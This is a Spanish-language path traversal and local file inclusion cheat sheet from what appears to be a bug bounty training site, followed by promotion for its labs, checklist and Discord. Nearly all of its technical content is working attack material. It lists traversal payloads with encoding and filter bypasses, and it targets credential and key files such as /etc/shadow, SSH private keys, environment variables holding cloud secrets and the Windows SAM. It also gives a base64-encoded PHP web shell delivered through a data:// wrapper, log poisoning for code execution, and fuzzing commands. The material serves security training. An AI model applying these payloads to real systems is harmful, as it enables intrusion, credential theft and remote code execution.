Cheatsheet Path Traversal

Directory Traversal / LFI

Referencia rápida

  • →Probar siempre multiples niveles de traversal: desde 1 hasta 10 directorios arriba
  • →En PHP < 5.3, null byte (%00) trunca la extension forzada (.php, .png)
  • →Log poisoning: inyectar payload PHP en User-Agent/Referer y luego incluir el log via LFI
  • →/proc/self/environ contiene variables de entorno con credenciales de cloud
  • →Si el server normaliza la ruta, probar double encoding (%252e%252e%252f)

Payloads basicos

Unix - /etc/passwd

../../../../etc/passwd

Windows - win.ini

..\..\..\..\windows\win.ini

Con null byte (PHP < 5.3)

../../../../etc/passwd%00.png

Double encoding

..%252f..%252f..%252fetc/passwd

UTF-8 encoding

..%c0%af..%c0%af..%c0%afetc/passwd

Path con /Bypass de filtros que eliminan ../

/....//....//....//etc/passwd

Bypass de filtros

Doble punto eliminadoSi el server elimina ../ una vez, queda ../

....//....//....//etc/passwd

URL encoding del punto

%2e%2e/%2e%2e/%2e%2e/etc/passwd

Mixed encoding

.%2e/.%2e/.%2e/etc/passwd

Backslash (Windows)

..%5c..%5c..%5cwindows%5cwin.ini

Path absolutoA veces funciona sin traversal si no hay base path

/etc/passwd

Archivos interesantes - Linux

/etc/passwd

/etc/passwd

/etc/shadowRequiere root - contiene hashes de passwords

/etc/shadow

Variables de entornoContiene AWS keys, secrets, tokens

/proc/self/environ

Linea de comandos

/proc/self/cmdline

SSH private key

/home/user/.ssh/id_rsa

Bash history

/home/user/.bash_history

AWS Lambda sourceCodigo fuente completo de funciones Lambda

/var/task/lambda_function.py

Archivos interesantes - Windows

SAM database

C:\Windows\System32\config\SAM

Web.config

C:\inetpub\wwwroot\web.config

Hosts file

C:\Windows\System32\drivers\etc\hosts

IIS logs

C:\inetpub\logs\LogFiles

Escalacion LFI a RCE

PHP wrappers - base64Leer codigo fuente PHP codificado en base64

php://filter/convert.base64-encode/resource=config.php

PHP wrappers - dataBase64 de: <?php system($_GET["cmd"]);?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

PHP expectRequiere extension expect habilitada

expect://id

Log poisoningInyectar PHP en User-Agent, luego incluir el log

/var/log/apache2/access.log

/proc/self/fd/ bruteforceFile descriptors abiertos pueden contener archivos temporales con codigo

/proc/self/fd/5

Herramientas

dotdotpwn

Fuzzer de path traversal con multiples modos de operacion

dotdotpwn -m http -h target.com -x 8080 -f /etc/passwd

ffuf

Fuzzer rapido para probar payloads de LFI en parametros

ffuf -u "https://target.com/download?file=FUZZ" -w lfi-payloads.txt -mc 200

LFISuite

Suite automatizada de explotacion LFI con multiples tecnicas de RCE

python3 lfisuite.py

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.